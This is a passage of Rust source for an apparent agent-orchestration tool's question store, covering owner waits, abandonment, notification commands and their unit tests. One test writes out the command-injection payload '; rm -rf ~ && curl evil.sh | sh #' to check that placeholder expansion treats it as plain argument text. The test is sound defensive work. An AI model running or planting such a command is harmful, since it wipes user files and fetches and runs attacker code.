1658 if status.resumable() {
1659 return Ok(0);
1660 }
1661 let why = format!(
1662 "run {run} {}, so nothing is waiting for this answer",
1663 status.as_str()
1664 );
1665 let mut abandoned = 0;
1670 for mut q in self.open_for(run) {
1671 if q.node == crate::bump::NOTICE_NODE {
1672 continue;
1673 }
1674 q.abandon(&why);
1675 self.put(&mut q)?;
1676 abandoned += 1;
1677 }
1678 Ok(abandoned)
1679 }
1680
1681 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1684 use crate::queue::{Reference, record_ids, resolve_reference};
1685 let ids = record_ids(&self.root, "json")?;
1686 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1687 Reference::Found(id) => Ok(id),
1688 Reference::Missing => bail!("no question matches `{prefix}`"),
1689 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1690 }
1691 }
1692
1693 pub fn revision(&self) -> u64 {
1697 std::fs::read_dir(&self.root)
1698 .into_iter()
1699 .flatten()
1700 .flatten()
1701 .filter_map(|e| e.metadata().ok())
1702 .filter_map(|m| m.modified().ok())
1703 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1704 .map(|d| d.as_millis() as u64)
1705 .max()
1706 .unwrap_or(0)
1707 }
1708
1709 pub fn count_open(&self) -> usize {
1715 self.list().iter().filter(|q| q.status.open()).count()
1716 }
1717
1718 pub fn count_needs_owner(&self) -> usize {
1727 self.list()
1728 .iter()
1729 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1730 .count()
1731 }
1732
1733 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1737 q.status.open()
1738 && q.deputy
1739 .as_ref()
1740 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1741 && !self
1742 .read_lease(&q.id)
1743 .is_some_and(|l| l.fresh(Timestamp::now()))
1744 }
1745}
1746
1747#[derive(Debug, Clone, PartialEq, Eq)]
1749pub enum Wait {
1750 Answered(String),
1752 Replied(String),
1757 Pending,
1764 Abandoned,
1769}
1770
1771pub async fn ask_and_wait(
1778 q: &mut Question,
1779 store: &Questions,
1780 notify: &config::Notify,
1781 timeout: Duration,
1782) -> Result<Wait> {
1783 wait_for_owner(q, store, notify, timeout, POLL).await
1784}
1785
1786pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1801 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1802}
1803
1804async fn wait_for_owner(
1810 q: &mut Question,
1811 store: &Questions,
1812 cfg: &config::Notify,
1813 timeout: Duration,
1814 poll: Duration,
1815) -> Result<Wait> {
1816 if !store.path_of(&q.id).is_file() {
1820 store.put(q).context("file the question")?;
1821 }
1822 if q.should_notify(Timestamp::now()) {
1823 if let Err(e) = notify(cfg, q).await {
1824 tracing::warn!(
1829 "could not notify about question {}: {e:#} - the web UI is the \
1830 only surface for it now",
1831 q.short()
1832 );
1833 }
1834 }
1835 tracing::info!(
1836 "question {} from {} is waiting for you: {}",
1837 q.short(),
1838 q.seat,
1839 q.summary
1840 );
1841 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1842}
1843
1844fn hold(store: &Questions, id: &str) {
1846 store.beat(id, WaiterKind::Asker);
1847 let took = store.update(id, |q| {
1848 if q.status.open() {
1849 q.waiter = Some(Waiter {
1850 kind: WaiterKind::Asker,
1851 since: Timestamp::now(),
1852 });
1853 }
1854 Ok(())
1855 });
1856 if let Err(e) = took {
1857 tracing::debug!("could not note the wait on question {id}: {e:#}");
1858 }
1859}
1860
1861pub fn hand_over(store: &Questions, q: &mut Question) {
1869 let done = store.update(&q.id, |r| {
1870 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1871 if r.status == QuestionStatus::Answered {
1872 r.answer_delivered = true;
1873 }
1874 r.waiter = None;
1875 Ok(())
1876 });
1877 match done {
1878 Ok((fresh, ())) => *q = fresh,
1879 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1880 }
1881}
1882
1883pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1887 let says = q.undelivered_owner_turns();
1888 if says.is_empty() {
1889 return answer.to_owned();
1890 }
1891 format!(
1892 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1893 says.join("\n\n")
1894 )
1895}
1896
1897pub fn deliver_answer(
1900 store: &Questions,
1901 q: &mut Question,
1902 answer: &str,
1903 out: &mut impl std::io::Write,
1904) -> std::io::Result<()> {
1905 writeln!(out, "{}", answer_for_agent(q, answer))?;
1906 out.flush()?;
1907 hand_over(store, q);
1908 Ok(())
1909}
1910
1911async fn wait_loop(
1921 q: &mut Question,
1922 store: &Questions,
1923 timeout: Duration,
1924 slice: Duration,
1925 poll: Duration,
1926) -> Result<Wait> {
1927 if let Some(said) = q.unread_from_owner() {
1937 return Ok(Wait::Replied(said));
1938 }
1939 hold(store, &q.id);
1940
1941 let bounded = timeout.min(slice);
1942 let is_the_real_deadline = bounded >= timeout;
1943 let deadline = tokio::time::Instant::now() + bounded;
1944 loop {
1945 let now = tokio::time::Instant::now();
1946 if now >= deadline {
1947 if !is_the_real_deadline {
1948 return Ok(Wait::Pending);
1952 }
1953 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1954 let (fresh, unread) = store
1958 .update(&q.id, |r| {
1959 let unread = r.unread_from_owner();
1960 if unread.is_none() {
1961 r.abandon(&why);
1962 r.waiter = None;
1963 }
1964 Ok(unread)
1965 })
1966 .context("record the abandoned question")?;
1967 *q = fresh;
1968 if let Some(said) = unread {
1969 return Ok(Wait::Replied(said));
1970 }
1971 tracing::warn!(
1972 "question {} went unanswered for {}s; the run parks and the \
1973 question stays as the record of it",
1974 q.short(),
1975 timeout.as_secs()
1976 );
1977 return Ok(Wait::Abandoned);
1978 }
1979 tokio::time::sleep(poll.min(deadline - now)).await;
1980 store.beat(&q.id, WaiterKind::Asker);
1981 match store.get(&q.id) {
1982 Ok(fresh) if !fresh.status.open() => {
1983 *q = fresh;
1987 return Ok(match q.resolution() {
1988 Some(a) => Wait::Answered(a),
1989 None => Wait::Abandoned,
1992 });
1993 }
1994 Ok(fresh) => {
1995 if let Some(said) = fresh.unread_from_owner() {
1996 *q = fresh;
1997 return Ok(Wait::Replied(said));
1998 }
1999 }
2002 Err(e) => {
2003 tracing::debug!("could not re-read question {}: {e:#}", q.short());
2007 }
2008 }
2009 }
2010}
2011
2012pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2023 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2024 if q.status.open() {
2025 summary.push_str(&format!(
2026 " Respond in Questions or with `magi answer {}`.",
2027 q.id
2028 ));
2029 }
2030 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2031 notify_at(cmd, &q.run, &summary, &url).await
2032}
2033
2034pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2037 let url = view_url(
2038 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2039 "notifications",
2040 );
2041 notify_at(cmd, run, summary, &url).await
2042}
2043
2044async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2045 let Some((program, args)) = cmd.command.split_first() else {
2046 return Ok(());
2048 };
2049 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2050 tracing::warn!(
2051 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2052 so the link will be empty - export it next to `magi serve` with \
2053 the address `magi web --open` printed"
2054 );
2055 }
2056 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2057 tracing::debug!(program = %program, args = ?argv, "notifying");
2058
2059 let mut child = tokio::process::Command::new(program);
2060 child.quiet();
2061 child
2062 .args(&argv)
2063 .stdin(std::process::Stdio::null())
2064 .kill_on_drop(true);
2067 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2068 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2069 Err(_) => bail!(
2070 "notification command `{program}` did not finish within {}s",
2071 NOTIFY_TIMEOUT.as_secs()
2072 ),
2073 };
2074 if !out.status.success() {
2075 let stderr = String::from_utf8_lossy(&out.stderr);
2076 let why = stderr
2077 .lines()
2078 .rev()
2079 .find(|l| !l.trim().is_empty())
2080 .unwrap_or("no output on stderr")
2081 .trim();
2082 bail!(
2083 "notification command `{program}` exited with {}: {why}",
2084 out.status
2085 );
2086 }
2087 Ok(())
2088}
2089
2090fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2096 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2097 let mut out = String::with_capacity(template.len());
2098 let mut rest = template;
2099 while let Some(at) = rest.find('{') {
2100 out.push_str(&rest[..at]);
2101 let tail = &rest[at..];
2102 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2103 Some((token, value)) => {
2104 out.push_str(value);
2105 rest = &tail[token.len()..];
2106 }
2107 None => {
2108 out.push('{');
2110 rest = &tail[1..];
2111 }
2112 }
2113 }
2114 out.push_str(rest);
2115 out
2116}
2117
2118fn question_url(base: &str) -> String {
2125 view_url(base, "questions")
2126}
2127
2128fn view_url(base: &str, view: &str) -> String {
2129 let base = base.trim().trim_end_matches('/');
2130 if base.is_empty() || base.contains('#') {
2131 return base.to_owned();
2132 }
2133 format!("{base}/#/{view}")
2134}
2135
2136fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2141 let index = dir.join(PANEL_HTML);
2142 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2143 for (name, src) in assets {
2144 let dst = dir.join(name);
2145 std::fs::copy(src, &dst)
2146 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2147 }
2148 Ok(())
2149}
2150
2151fn clear_dir(path: &Path) -> Result<()> {
2156 match std::fs::remove_dir_all(path) {
2157 Ok(()) => Ok(()),
2158 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2159 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2160 }
2161}
2162
2163fn read_path(path: &Path) -> Result<Question> {
2164 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2165 let q: Question =
2166 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2167 if q.schema > SCHEMA {
2168 bail!(
2173 "question {} was written by a newer magi (schema {}, this build \
2174 only speaks up to {SCHEMA})",
2175 q.id,
2176 q.schema
2177 );
2178 }
2179 Ok(q)
2180}
2181
2182pub fn short_id(id: &str) -> &str {
2184 short(id)
2185}
2186
2187fn short(id: &str) -> &str {
2188 id.split('-').next_back().unwrap_or(id)
2189}
2190
2191fn new_id() -> String {
2192 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2193 let seed = crate::rng::entropy();
2194 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
2195}
2196
2197#[cfg(test)]
2198mod tests {
2199 use super::*;
2200
2201 fn store() -> (tempfile::TempDir, Questions) {
2204 let dir = tempfile::tempdir().unwrap();
2205 let s = Questions::at(dir.path().join("questions"));
2206 (dir, s)
2207 }
2208
2209 #[test]
2210 fn run_names_task_only_for_task_questions() {
2211 for (node, want) in [
2212 (crate::conduct::NODE, true),
2213 (crate::triage::NODE, true),
2214 (crate::triage::DEPS_NODE, true),
2215 (crate::land::APPROVAL_NODE, false),
2216 (crate::bump::NOTICE_NODE, false),
2217 ("implement", false),
2218 ] {
2219 let mut q = choice_question();
2220 q.node = node.to_owned();
2221 assert_eq!(q.run_names_task(), want, "{node}");
2222 }
2223 }
2224
2225 #[test]
2226 fn deleting_a_run_stops_its_questions_asking() {
2227 let (_dir, store) = store();
2228
2229 let mut open_one = choice_question();
2230 store.put(&mut open_one).unwrap();
2231 let mut answered = free_question();
2232 answered
2233 .answer(Answer::Text("keep this".to_owned()))
2234 .unwrap();
2235 store.put(&mut answered).unwrap();
2236 let mut elsewhere = choice_question();
2237 elsewhere.run = "20260903-105039-3cbf".to_owned();
2238 store.put(&mut elsewhere).unwrap();
2239
2240 let n = store
2241 .abandon_for_run(&open_one.run, "run was deleted")
2242 .unwrap();
2243 assert_eq!(n, 1, "only the open question of that run");
2244
2245 let back = store.get(&open_one.id).unwrap();
2246 assert!(!back.status.open(), "it no longer asks for a decision");
2247 assert!(
2248 back.detail.contains("run was deleted"),
2249 "the operator can see why: {}",
2250 back.detail
2251 );
2252
2253 let kept = store.get(&answered.id).unwrap();
2254 assert_eq!(
2255 kept.status,
2256 QuestionStatus::Answered,
2257 "an answered question is a decision on record, not something to revoke"
2258 );
2259 assert!(
2260 store.get(&elsewhere.id).unwrap().status.open(),
2261 "another run's question is untouched"
2262 );
2263 assert!(store.open_for(&open_one.run).is_empty());
2264 }
2265
2266 #[test]
2267 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2268 let (_dir, store) = store();
2269 let mut q = choice_question();
2270 store.put(&mut q).unwrap();
2271
2272 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2274 assert_eq!(n, 0);
2275 assert!(store.get(&q.id).unwrap().status.open());
2276
2277 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2280 assert_eq!(n, 1);
2281 let back = store.get(&q.id).unwrap();
2282 assert!(!back.status.open());
2283 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2284
2285 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2287 }
2288
2289 fn choice_question() -> Question {
2290 Question::new(
2291 "20260902-201256-9fb7".to_owned(),
2292 "implement".to_owned(),
2293 "impl-A".to_owned(),
2294 "Which storage backend should the cache use?".to_owned(),
2295 "Both are already dependencies.".to_owned(),
2296 vec!["SQLite".to_owned(), "Redis".to_owned()],
2297 )
2298 }
2299
2300 fn free_question() -> Question {
2301 Question::new(
2302 "20260902-201256-9fb7".to_owned(),
2303 "review".to_owned(),
2304 "rev-1".to_owned(),
2305 "What should the error message say?".to_owned(),
2306 String::new(),
2307 Vec::new(),
2308 )
2309 }
2310
2311 fn quiet() -> config::Notify {
2313 config::Notify::default()
2314 }
2315
2316 #[test]
2317 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2318 let mut q = choice_question();
2322 q.id = "20260902-231501-ab12".to_owned();
2323 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2324 let keys: Vec<&str> = open
2328 .as_object()
2329 .unwrap()
2330 .keys()
2331 .map(String::as_str)
2332 .collect();
2333 assert_eq!(
2334 keys,
2335 [
2336 "actions",
2337 "answer",
2338 "answer_delivered",
2339 "answer_timeout",
2340 "answered_at",
2341 "asked_at",
2342 "assets",
2343 "choices",
2344 "consult",
2345 "cwd",
2346 "decision_context",
2347 "delivered_turns",
2348 "deputy",
2349 "detail",
2350 "id",
2351 "merge_target",
2352 "node",
2353 "panel",
2354 "run",
2355 "schema",
2356 "seat",
2357 "status",
2358 "summary",
2359 "thread",
2360 "triage_generation",
2361 "waiter",
2362 ],
2363 "the on-disk field set is a contract with the front end"
2364 );
2365 assert_eq!(open["schema"], 13);
2366 assert_eq!(open["merge_target"], serde_json::Value::Null);
2367 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2368 assert_eq!(open["thread"], serde_json::json!([]));
2369 assert_eq!(open["id"], "20260902-231501-ab12");
2370 assert_eq!(open["run"], "20260902-201256-9fb7");
2371 assert_eq!(open["node"], "implement");
2372 assert_eq!(open["seat"], "impl-A");
2373 assert_eq!(open["status"], "open");
2374 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2375 assert_eq!(open["answered_at"], serde_json::Value::Null);
2376 assert_eq!(open["answer"], serde_json::Value::Null);
2377 let asked = open["asked_at"].as_str().unwrap();
2378 assert!(
2379 asked.ends_with('Z') && asked.contains('T'),
2380 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2381 );
2382
2383 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2385 let answered = serde_json::to_value(&q).unwrap();
2386 assert_eq!(answered["status"], "answered");
2387 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2388 assert!(answered["answered_at"].is_string());
2389
2390 let mut free = free_question();
2392 free.answer(Answer::Text("Say which file it was".to_owned()))
2393 .unwrap();
2394 assert_eq!(
2395 serde_json::to_value(&free).unwrap()["answer"],
2396 serde_json::json!({"text": "Say which file it was"})
2397 );
2398
2399 let body = serde_json::to_string(&q).unwrap();
2401 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2402 }
2403
2404 #[test]
2405 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2406 let (_dir, store) = store();
2407 let mut q = approval_question();
2408 q.merge_target = Some(crate::merge_decision::Target {
2409 pr: "https://github.com/example/repo/pull/42".into(),
2410 head: "reviewed-head".into(),
2411 language: "ja".into(),
2412 });
2413 store.put(&mut q).unwrap();
2414 let saved = store.get(&q.id).unwrap();
2415 assert_eq!(saved, q);
2416 let mut body = serde_json::to_value(&saved).unwrap();
2417 assert_eq!(body["schema"], 13);
2418 assert_eq!(
2419 body["merge_target"],
2420 serde_json::json!({
2421 "pr": "https://github.com/example/repo/pull/42",
2422 "head": "reviewed-head",
2423 "language": "ja"
2424 })
2425 );
2426
2427 body["schema"] = serde_json::json!(10);
2430 body.as_object_mut().unwrap().remove("merge_target");
2431 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2432 let legacy = store.get(&q.id).unwrap();
2433 assert_eq!(legacy.schema, 10);
2434 assert!(legacy.merge_target.is_none());
2435 assert_eq!(legacy.choices, q.choices);
2436 assert_eq!(legacy.status, q.status);
2437 }
2438
2439 #[test]
2440 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2441 let mut unoffered = choice_question();
2444 let a = unoffered
2445 .answer(Answer::Choice("Postgres".to_owned()))
2446 .unwrap_err()
2447 .to_string();
2448
2449 let mut typed = choice_question();
2450 let b = typed
2451 .answer(Answer::Text("use Postgres".to_owned()))
2452 .unwrap_err()
2453 .to_string();
2454
2455 let mut blank = free_question();
2456 let c = blank
2457 .answer(Answer::Text(" \n".to_owned()))
2458 .unwrap_err()
2459 .to_string();
2460
2461 let mut twice = choice_question();
2462 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2463 let d = twice
2464 .answer(Answer::Choice("Redis".to_owned()))
2465 .unwrap_err()
2466 .to_string();
2467
2468 assert!(a.contains("not one of the choices"), "{a}");
2469 assert!(b.contains("multiple choice"), "{b}");
2470 assert!(c.contains("empty"), "{c}");
2471 assert!(d.contains("already answered"), "{d}");
2472 let mut distinct = vec![a, b, c, d];
2473 let asked = distinct.len();
2474 distinct.sort_unstable();
2475 distinct.dedup();
2476 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2477
2478 assert_eq!(unoffered.status, QuestionStatus::Open);
2480 assert_eq!(typed.status, QuestionStatus::Open);
2481 assert_eq!(blank.status, QuestionStatus::Open);
2482 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2484
2485 let mut free = free_question();
2487 let e = free
2488 .answer(Answer::Choice("SQLite".to_owned()))
2489 .unwrap_err()
2490 .to_string();
2491 assert!(e.contains("free text"), "{e}");
2492 }
2493
2494 #[test]
2495 fn open_questions_are_listed_before_answered_ones() {
2496 let (_dir, s) = store();
2497 let mut old_open = choice_question();
2500 old_open.id = "20260101-000001-aaaa".to_owned();
2501 let mut new_open = choice_question();
2502 new_open.id = "20260101-000002-bbbb".to_owned();
2503 let mut answered = choice_question();
2504 answered.id = "20260101-000003-cccc".to_owned();
2505 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2506 for q in [&mut old_open, &mut new_open, &mut answered] {
2507 s.put(q).unwrap();
2508 }
2509
2510 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2511 assert_eq!(
2512 ids,
2513 [
2514 "20260101-000002-bbbb",
2515 "20260101-000001-aaaa",
2516 "20260101-000003-cccc"
2517 ],
2518 "what has stopped work comes first; history sorts underneath"
2519 );
2520 assert_eq!(s.count_open(), 2);
2521 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2522 assert!(s.open_for("some-other-run").is_empty());
2523 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2525 assert!(s.get("20260101-000002-bbbb").is_ok());
2526 assert!(s.resolve_id("nope").is_err());
2527 assert!(
2528 s.revision() > 0,
2529 "the store's mtime drives the phone's polling"
2530 );
2531 }
2532
2533 #[test]
2534 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2535 let (_dir, s) = store();
2536 let mut good = choice_question();
2537 s.put(&mut good).unwrap();
2538 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2540 let future = serde_json::json!({
2541 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2542 "seat": "s", "summary": "?", "detail": "", "choices": [],
2543 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2544 "answered_at": null, "answer": null,
2545 });
2546 std::fs::write(
2547 s.path_of("20260101-000010-beef"),
2548 serde_json::to_string(&future).unwrap(),
2549 )
2550 .unwrap();
2551
2552 let listed = s.list();
2553 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2554 assert_eq!(listed[0].id, good.id);
2555 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2557 assert!(e.contains("schema"), "{e}");
2558 }
2559
2560 #[tokio::test]
2561 async fn the_wait_returns_the_answer_another_process_wrote() {
2562 let (dir, s) = store();
2567 let mut q = choice_question();
2568 let id = q.id.clone();
2569 let writer = Questions::at(dir.path().join("questions"));
2570 let handle = tokio::spawn(async move {
2571 tokio::time::sleep(Duration::from_millis(30)).await;
2572 let mut fresh = writer.get(&id).expect("the question was filed first");
2573 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2574 writer.put(&mut fresh).unwrap();
2575 });
2576
2577 let got = wait_for_owner(
2578 &mut q,
2579 &s,
2580 &quiet(),
2581 Duration::from_secs(5),
2582 Duration::from_millis(10),
2583 )
2584 .await
2585 .unwrap();
2586
2587 handle.await.unwrap();
2588 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2589 assert_eq!(
2590 q.status,
2591 QuestionStatus::Answered,
2592 "the caller's copy is refreshed from the answering process's record"
2593 );
2594 assert!(q.answered_at.is_some());
2595 }
2596
2597 #[tokio::test]
2598 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2599 let (_dir, s) = store();
2600 let mut q = choice_question();
2601
2602 let got = wait_for_owner(
2603 &mut q,
2604 &s,
2605 &quiet(),
2606 Duration::from_millis(60),
2607 Duration::from_millis(10),
2608 )
2609 .await
2610 .unwrap();
2611
2612 assert_eq!(
2613 got,
2614 Wait::Abandoned,
2615 "a slow human is not an error; the run parks"
2616 );
2617 assert_eq!(q.status, QuestionStatus::Abandoned);
2618 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2619 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2620 assert!(
2621 on_disk.detail.contains("Abandoned:"),
2622 "why nobody answered belongs with the question: {}",
2623 on_disk.detail
2624 );
2625 assert!(on_disk.resolution().is_none());
2626 assert_eq!(s.count_open(), 0);
2627 }
2628
2629 #[tokio::test]
2630 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2631 let (_dir, s) = store();
2636 let mut q = choice_question();
2637 s.put(&mut q).unwrap();
2638
2639 let got = wait_loop(
2640 &mut q,
2641 &s,
2642 Duration::from_secs(3600),
2643 Duration::from_millis(30),
2644 Duration::from_millis(10),
2645 )
2646 .await
2647 .unwrap();
2648
2649 assert_eq!(
2650 got,
2651 Wait::Pending,
2652 "the clock on this call ran out, not the owner's patience"
2653 );
2654 assert_eq!(
2655 q.status,
2656 QuestionStatus::Open,
2657 "a slice expiring must never abandon the question"
2658 );
2659 let on_disk = s.get(&q.id).expect("still on disk, still open");
2660 assert_eq!(
2661 on_disk.status,
2662 QuestionStatus::Open,
2663 "nothing about the record changed just because this call gave up"
2664 );
2665 }
2666
2667 #[tokio::test]
2668 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2669 let (dir, s) = store();
2674 let mut q = choice_question();
2675 s.put(&mut q).unwrap();
2676
2677 let first = wait_loop(
2678 &mut q,
2679 &s,
2680 Duration::from_secs(3600),
2681 Duration::from_millis(30),
2682 Duration::from_millis(10),
2683 )
2684 .await
2685 .unwrap();
2686 assert_eq!(first, Wait::Pending);
2687
2688 let id = q.id.clone();
2689 let writer = Questions::at(dir.path().join("questions"));
2690 let mut fresh = writer.get(&id).unwrap();
2691 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2692 writer.put(&mut fresh).unwrap();
2693
2694 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2699 .await
2700 .unwrap();
2701 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2702 assert_eq!(q.status, QuestionStatus::Answered);
2703 }
2704
2705 #[tokio::test]
2706 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2707 let (dir, s) = store();
2717 let mut q = choice_question();
2718 s.put(&mut q).unwrap();
2719
2720 let first = wait_loop(
2721 &mut q,
2722 &s,
2723 Duration::from_secs(3600),
2724 Duration::from_millis(30),
2725 Duration::from_millis(10),
2726 )
2727 .await
2728 .unwrap();
2729 assert_eq!(first, Wait::Pending);
2730
2731 let id = q.id.clone();
2733 let writer = Questions::at(dir.path().join("questions"));
2734 let mut fresh = writer.get(&id).unwrap();
2735 fresh.say("why not Postgres?").unwrap();
2736 writer.put(&mut fresh).unwrap();
2737
2738 let mut resumed = s.get(&id).unwrap();
2742 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2743 .await
2744 .unwrap();
2745 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2746 assert_eq!(
2747 resumed.status,
2748 QuestionStatus::Open,
2749 "talking back is not a decision; the question stays open"
2750 );
2751 }
2752
2753 #[tokio::test]
2754 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2755 let (dir, s) = store();
2759 let broken = config::Notify {
2760 command: vec![
2761 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2762 "{summary}".to_owned(),
2763 ],
2764 };
2765 let mut q = choice_question();
2766 assert!(
2767 notify(&broken, &q).await.is_err(),
2768 "the caller is told; it decides that it does not matter"
2769 );
2770
2771 let id = q.id.clone();
2772 let writer = Questions::at(dir.path().join("questions"));
2773 let handle = tokio::spawn(async move {
2774 tokio::time::sleep(Duration::from_millis(30)).await;
2775 let mut fresh = writer.get(&id).unwrap();
2776 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2777 writer.put(&mut fresh).unwrap();
2778 });
2779 let got = wait_for_owner(
2780 &mut q,
2781 &s,
2782 &broken,
2783 Duration::from_secs(5),
2784 Duration::from_millis(10),
2785 )
2786 .await
2787 .unwrap();
2788 handle.await.unwrap();
2789 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2790
2791 assert!(notify(&quiet(), &q).await.is_ok());
2793 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2794 }
2795
2796 #[tokio::test]
2797 async fn external_question_notification_names_the_supported_response_path() {
2798 let dir = tempfile::tempdir().unwrap();
2799 let path = dir.path().join("page");
2800 let cmd = config::Notify {
2801 command: vec![
2802 "sh".into(),
2803 "-c".into(),
2804 "printf '%s' \"$1\" > \"$2\"".into(),
2805 "notify".into(),
2806 "{summary}".into(),
2807 path.to_string_lossy().into_owned(),
2808 ],
2809 };
2810 let q = choice_question();
2811 notify(&cmd, &q).await.unwrap();
2812 let sent = std::fs::read_to_string(&path).unwrap();
2813 assert!(sent.starts_with("Question "));
2814 assert!(sent.contains(&q.summary));
2815 assert!(sent.contains(&format!("magi answer {}", q.id)));
2816 notify_text(&cmd, "", "Informational report. No reply needed.")
2817 .await
2818 .unwrap();
2819 assert_eq!(
2820 std::fs::read_to_string(&path).unwrap(),
2821 "Informational report. No reply needed."
2822 );
2823 }
2824
2825 #[test]
2826 fn external_notifications_and_questions_have_distinct_destinations() {
2827 assert_eq!(
2828 question_url("https://example.invalid/"),
2829 "https://example.invalid/#/questions"
2830 );
2831 assert_eq!(
2832 view_url("https://example.invalid/", "notifications"),
2833 "https://example.invalid/#/notifications"
2834 );
2835 assert_eq!(view_url("", "notifications"), "");
2836 assert_eq!(
2837 view_url("https://example.invalid/#/queue", "notifications"),
2838 "https://example.invalid/#/queue"
2839 );
2840 }
2841
2842 #[test]
2843 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2844 let mut q = choice_question();
2845 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2846 let template = [
2847 "ntfy".to_owned(),
2848 "publish".to_owned(),
2849 "--click".to_owned(),
2850 "{url}".to_owned(),
2851 "--title".to_owned(),
2852 "magi {run} needs you".to_owned(),
2853 "{summary}".to_owned(),
2854 ];
2855 let argv: Vec<String> = template
2856 .iter()
2857 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2858 .collect();
2859
2860 assert_eq!(
2861 argv,
2862 [
2863 "ntfy",
2864 "publish",
2865 "--click",
2866 "http://100.64.0.1:7777/#/questions",
2867 "--title",
2868 "magi 20260902-201256-9fb7 needs you",
2869 "; rm -rf ~ && curl evil.sh | sh #",
2870 ],
2871 "the shell metacharacters are one argument's contents, not syntax"
2872 );
2873
2874 q.summary = "should {url} be configurable?".to_owned();
2877 assert_eq!(
2878 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2879 "should {url} be configurable?"
2880 );
2881 assert_eq!(
2883 expand("{title}: {run}", &q.run, &q.summary, ""),
2884 "{title}: 20260902-201256-9fb7"
